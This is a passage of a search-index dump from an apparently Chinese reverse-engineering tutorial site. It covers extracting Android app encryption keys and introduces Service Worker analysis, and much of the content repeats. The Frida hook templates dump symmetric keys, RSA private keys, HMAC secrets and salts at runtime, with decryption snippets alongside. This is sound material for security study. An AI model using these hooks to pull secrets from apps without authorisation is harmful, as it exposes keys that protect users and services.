Method:\", methods.readCString()); }, }); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:6:3","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#-问题-3-native-函数找不到"},{"categories":null,"collections":null,"content":"❌ 问题 4: 密钥是字符串而非字节数组 症状： // 看到类似这样的代码 SecretKeySpec key = new SecretKeySpec(\"MyPassword123\".getBytes(), \"AES\"); 解决方案： 1. 使用密钥派生函数（KDF） from Crypto.Protocol.KDF import PBKDF2 password = \"MyPassword123\" salt = b\"somesalt\" # 需要从代码中找到 key = PBKDF2(password, salt, dkLen=16) # 16 字节 AES-128 说明： PBKDF2 会将任意长度的密码派生为固定长度的密钥 salt 通常在代码中硬编码或从服务器获取 dkLen 决定输出密钥长度：16 (AES-128) / 24 (AES-192) / 32 (AES-256) 2. Hook 密钥派生函数 var SecretKeyFactory = Java.use(\"javax.crypto.SecretKeyFactory\"); SecretKeyFactory.generateSecret.implementation = function (keySpec) { var key = this.generateSecret(keySpec); console.log(\"[密钥派生] 算法:\", this.getAlgorithm()); console.log(\"[密钥派生] 密钥 (Hex):\", bytesToHex(key.getEncoded())); // 尝试获取 salt（如果是 PBEKeySpec） try { var PBEKeySpec = Java.use(\"javax.crypto.spec.PBEKeySpec\"); var pbeSpec = Java.cast(keySpec, PBEKeySpec); console.log(\"[密钥派生] Salt:\", bytesToHex(pbeSpec.getSalt())); console.log(\"[密钥派生] 迭代次数:\", pbeSpec.getIterationCount()); } catch (e) {} return key; }; 3. 直接使用字符串密钥 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import hashlib # 从代码中找到的字符串密码 password = \"MyPassword123\" # 方法 1: 直接使用前 16 字节 key = password.encode()[:16].ljust(16, b'\\0') # 方法 2: MD5 哈希（常见做法，输出正好 16 字节） key = hashlib.md5(password.encode()).digest() # 方法 3: SHA256 前 16 字节 key = hashlib.sha256(password.encode()).digest()[:16] # 然后用于解密 cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:6:4","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#-问题-4-密钥是字符串而非字节数组"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:7:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 网络抓包 - 获取加密后的数据样本 Frida 反调试 - 如果 App 检测到 Hook Native Hook 模式 - 深入 Native 层分析 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:7:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Frida 完整指南 IDA Pro 使用 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:7:2","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#工具深入"},{"categories":null,"collections":null,"content":"案例分析 💡 思路一句话: 抓包拿到加密请求 → 在 jadx 中搜索加密相关类名（Cipher, MessageDigest, Mac）→ hook 加解密方法获取明文和密钥 → 用 Python 重写加密逻辑验证。 音乐 App 分析 - 加密音频格式分析 社交媒体风控 - API 签名算法逆向 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:7:3","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#案例分析"},{"categories":null,"collections":null,"content":"理论基础 密码学基础知识 - TODO ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:7:4","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#理论基础"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:8:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#快速参考"},{"categories":null,"collections":null,"content":"Hook 脚本模板库 1. RSA Hook var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.init.overload(\"int\", \"java.security.Key\").implementation = function ( opmode, key ) { console.log(\"[RSA] 模式:\", opmode == 1 ? \"ENCRYPT\" : \"DECRYPT\"); console.log(\"[RSA] 密钥类型:\", key.$className); // 获取公钥/私钥 if (key.$className.includes(\"PublicKey\")) { console.log(\"[RSA] 公钥:\", bytesToHex(key.getEncoded())); } else if (key.$className.includes(\"PrivateKey\")) { console.log(\"[RSA] 私钥:\", bytesToHex(key.getEncoded())); } return this.init(opmode, key); }; 2. HMAC Hook var Mac = Java.use(\"javax.crypto.Mac\"); Mac.init.implementation = function (key) { console.log(\"[HMAC] 算法:\", this.getAlgorithm()); var secretKey = Java.cast(key, Java.use(\"javax.crypto.spec.SecretKeySpec\")); console.log(\"[HMAC] 密钥:\", bytesToHex(secretKey.getEncoded())); return this.init(key); }; Mac.doFinal.overload(\"[B\").implementation = function (data) { var result = this.doFinal(data); console.log(\"[HMAC] 输入:\", bytesToHex(data)); console.log(\"[HMAC] 输出:\", bytesToHex(result)); return result; }; 3. Base64 Hook var Base64 = Java.use(\"android.util.Base64\"); Base64.decode.overload(\"java.lang.String\", \"int\").implementation = function ( str, flags ) { var result = this.decode(str, flags); console.log(\"[Base64] 解码:\"); console.log(\" 输入:\", str.substring(0, 50) + \"...\"); console.log(\" 输出 (Hex):\", bytesToHex(result)); return result; }; ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:8:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#hook-脚本模板库"},{"categories":null,"collections":null,"content":"Hook 脚本模板库 1. RSA Hook var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.init.overload(\"int\", \"java.security.Key\").implementation = function ( opmode, key ) { console.log(\"[RSA] 模式:\", opmode == 1 ? \"ENCRYPT\" : \"DECRYPT\"); console.log(\"[RSA] 密钥类型:\", key.$className); // 获取公钥/私钥 if (key.$className.includes(\"PublicKey\")) { console.log(\"[RSA] 公钥:\", bytesToHex(key.getEncoded())); } else if (key.$className.includes(\"PrivateKey\")) { console.log(\"[RSA] 私钥:\", bytesToHex(key.getEncoded())); } return this.init(opmode, key); }; 2. HMAC Hook var Mac = Java.use(\"javax.crypto.Mac\"); Mac.init.implementation = function (key) { console.log(\"[HMAC] 算法:\", this.getAlgorithm()); var secretKey = Java.cast(key, Java.use(\"javax.crypto.spec.SecretKeySpec\")); console.log(\"[HMAC] 密钥:\", bytesToHex(secretKey.getEncoded())); return this.init(key); }; Mac.doFinal.overload(\"[B\").implementation = function (data) { var result = this.doFinal(data); console.log(\"[HMAC] 输入:\", bytesToHex(data)); console.log(\"[HMAC] 输出:\", bytesToHex(result)); return result; }; 3. Base64 Hook var Base64 = Java.use(\"android.util.Base64\"); Base64.decode.overload(\"java.lang.String\", \"int\").implementation = function ( str, flags ) { var result = this.decode(str, flags); console.log(\"[Base64] 解码:\"); console.log(\" 输入:\", str.substring(0, 50) + \"...\"); console.log(\" 输出 (Hex):\", bytesToHex(result)); return result; }; ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:8:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#1-rsa-hook"},{"categories":null,"collections":null,"content":"Hook 脚本模板库 1. RSA Hook var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.init.overload(\"int\", \"java.security.Key\").implementation = function ( opmode, key ) { console.log(\"[RSA] 模式:\", opmode == 1 ? \"ENCRYPT\" : \"DECRYPT\"); console.log(\"[RSA] 密钥类型:\", key.$className); // 获取公钥/私钥 if (key.$className.includes(\"PublicKey\")) { console.log(\"[RSA] 公钥:\", bytesToHex(key.getEncoded())); } else if (key.$className.includes(\"PrivateKey\")) { console.log(\"[RSA] 私钥:\", bytesToHex(key.getEncoded())); } return this.init(opmode, key); }; 2. HMAC Hook var Mac = Java.use(\"javax.crypto.Mac\"); Mac.init.implementation = function (key) { console.log(\"[HMAC] 算法:\", this.getAlgorithm()); var secretKey = Java.cast(key, Java.use(\"javax.crypto.spec.SecretKeySpec\")); console.log(\"[HMAC] 密钥:\", bytesToHex(secretKey.getEncoded())); return this.init(key); }; Mac.doFinal.overload(\"[B\").implementation = function (data) { var result = this.doFinal(data); console.log(\"[HMAC] 输入:\", bytesToHex(data)); console.log(\"[HMAC] 输出:\", bytesToHex(result)); return result; }; 3. Base64 Hook var Base64 = Java.use(\"android.util.Base64\"); Base64.decode.overload(\"java.lang.String\", \"int\").implementation = function ( str, flags ) { var result = this.decode(str, flags); console.log(\"[Base64] 解码:\"); console.log(\" 输入:\", str.substring(0, 50) + \"...\"); console.log(\" 输出 (Hex):\", bytesToHex(result)); return result; }; ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:8:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#2-hmac-hook"},{"categories":null,"collections":null,"content":"Hook 脚本模板库 1. RSA Hook var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.init.overload(\"int\", \"java.security.Key\").implementation = function ( opmode, key ) { console.log(\"[RSA] 模式:\", opmode == 1 ? \"ENCRYPT\" : \"DECRYPT\"); console.log(\"[RSA] 密钥类型:\", key.$className); // 获取公钥/私钥 if (key.$className.includes(\"PublicKey\")) { console.log(\"[RSA] 公钥:\", bytesToHex(key.getEncoded())); } else if (key.$className.includes(\"PrivateKey\")) { console.log(\"[RSA] 私钥:\", bytesToHex(key.getEncoded())); } return this.init(opmode, key); }; 2. HMAC Hook var Mac = Java.use(\"javax.crypto.Mac\"); Mac.init.implementation = function (key) { console.log(\"[HMAC] 算法:\", this.getAlgorithm()); var secretKey = Java.cast(key, Java.use(\"javax.crypto.spec.SecretKeySpec\")); console.log(\"[HMAC] 密钥:\", bytesToHex(secretKey.getEncoded())); return this.init(key); }; Mac.doFinal.overload(\"[B\").implementation = function (data) { var result = this.doFinal(data); console.log(\"[HMAC] 输入:\", bytesToHex(data)); console.log(\"[HMAC] 输出:\", bytesToHex(result)); return result; }; 3. Base64 Hook var Base64 = Java.use(\"android.util.Base64\"); Base64.decode.overload(\"java.lang.String\", \"int\").implementation = function ( str, flags ) { var result = this.decode(str, flags); console.log(\"[Base64] 解码:\"); console.log(\" 输入:\", str.substring(0, 50) + \"...\"); console.log(\" 输出 (Hex):\", bytesToHex(result)); return result; }; ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:8:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#3-base64-hook"},{"categories":null,"collections":null,"content":"OpenSSL 命令速查 # AES 加密 echo \"Hello\" | openssl enc -aes-128-cbc -K 31323334353637383930616263646566 -iv 66656463626130393837363534333231 -base64 # AES 解密 echo \"密文\" | base64 -d | openssl enc -d -aes-128-cbc -K 31323334353637383930616263646566 -iv 66656463626130393837363534333231 # 生成 MD5 echo -n \"text\" | openssl md5 # 生成 SHA256 echo -n \"text\" | openssl sha256 # RSA 密钥生成 openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:8:2","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#openssl-命令速查"},{"categories":null,"collections":null,"content":"PWA 与 Service Worker 逆向 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:0:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#pwa-与-service-worker-逆向"},{"categories":null,"collections":null,"content":"概述 渐进式 Web 应用 (Progressive Web Apps, PWA) 和 Service Worker 技术使得 Web 应用能够离线工作、接收推送通知并提供类似原生应用的体验。在逆向工程中，理解 Service Worker 的工作原理对于分析现代 Web 应用、绕过缓存策略和理解请求拦截机制至关重要。 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:1:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 DOM 与 BOM 必需 DOM 与 BOM JavaScript 执行机制 必需 JavaScript 执行机制 Web API 与 Ajax 必需 Web API 与 Ajax Chrome DevTools 推荐 浏览器开发者工具 Hook 技术 推荐 Hook 技术 💡 提示: Service Worker 可以拦截所有网络请求，这为逆向分析带来了新的挑战。理解 SW 的生命周期和缓存策略，有助于分析 PWA 应用的数据流向。 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:2:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#-前置知识"},{"categories":null,"collections":null,"content":"基础概念 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:3:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#基础概念"},{"categories":null,"collections":null,"content":"定义 PWA (Progressive Web App) 是一种使用现代 Web 技术构建的应用，具有类似原生应用的体验： 可安装到主屏幕 离线工作 后台同步 推送通知 快速响应 Service Worker 是 PWA 的核心技术，是运行在浏览器后台的脚本： 独立于网页的生命周期 可以拦截和处理网络请求 实现离线缓存和策略 无法直接访问 DOM 使用 Promise 进行异步操作 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:3:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#定义"},{"categories":null,"collections":null,"content":"核心原理 Service Worker 生命周期 stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note Service Worker 与页面交互流程 sequenceDiagram participant Page as 网页(Main Thread) participant SW as Service Worker(Worker Thread) participant Cache as Cache Storage participant Network as 网络服务器 Note over Page,Network: 1. 注册阶段 Page-\u003e\u003eSW: navigator.serviceWorker.register('/sw.js') activate SW Note over SW: Parsed → Installing SW-\u003e\u003eSW: install 事件触发 SW-\u003e\u003eCache: cache.addAll([静态资源]) Cache--\u003e\u003eSW: 缓存完成 Note over SW: Installing → Installed SW-\u003e\u003eSW: activate 事件触发 SW-\u003e\u003eCache: 清理旧缓存版本 SW-\u003e\u003ePage: clients.claim() 控制页面 Note over SW: Installed → Activated → Idle deactivate SW Note over Page,Network: 2. 运行阶段 - 请求拦截 Page-\u003e\u003eSW: fetch('/api/data') activate SW Note over SW: fetch 事件触发 SW-\u003e\u003eCache: caches.match(request) Cache--\u003e\u003eSW: 缓存命中/未命中 alt 缓存命中 SW--\u003e\u003ePage: 返回缓存响应 ⚡ else 缓存未命中 SW-\u003e\u003eNetwork: fetch(request) Network--\u003e\u003eSW: 网络响应 SW-\u003e\u003eCache","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:3:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#核心原理"},{"categories":null,"collections":null,"content":"核心原理 Service Worker 生命周期 stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note Service Worker 与页面交互流程 sequenceDiagram participant Page as 网页(Main Thread) participant SW as Service Worker(Worker Thread) participant Cache as Cache Storage participant Network as 网络服务器 Note over Page,Network: 1. 注册阶段 Page-\u003e\u003eSW: navigator.serviceWorker.register('/sw.js') activate SW Note over SW: Parsed → Installing SW-\u003e\u003eSW: install 事件触发 SW-\u003e\u003eCache: cache.addAll([静态资源]) Cache--\u003e\u003eSW: 缓存完成 Note over SW: Installing → Installed SW-\u003e\u003eSW: activate 事件触发 SW-\u003e\u003eCache: 清理旧缓存版本 SW-\u003e\u003ePage: clients.claim() 控制页面 Note over SW: Installed → Activated → Idle deactivate SW Note over Page,Network: 2. 运行阶段 - 请求拦截 Page-\u003e\u003eSW: fetch('/api/data') activate SW Note over SW: fetch 事件触发 SW-\u003e\u003eCache: caches.match(request) Cache--\u003e\u003eSW: 缓存命中/未命中 alt 缓存命中 SW--\u003e\u003ePage: 返回缓存响应 ⚡ else 缓存未命中 SW-\u003e\u003eNetwork: fetch(request) Network--\u003e\u003eSW: 网络响应 SW-\u003e\u003eCache","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:3:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#service-worker-生命周期"},{"categories":null,"collections":null,"content":"核心原理 Service Worker 生命周期 stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note stateDiagram-v2 [*] --\u003e Parsed: 页面加载 SW 脚本 Parsed --\u003e Installing: navigator.serviceWorker.register() Installing --\u003e Installed: install 事件完成waitUntil() Promise 解决 Installed --\u003e Activating: 旧 SW 停止 或skipWaiting() Activating --\u003e Activated: activate 事件完成waitUntil() Promise 解决 Activated --\u003e 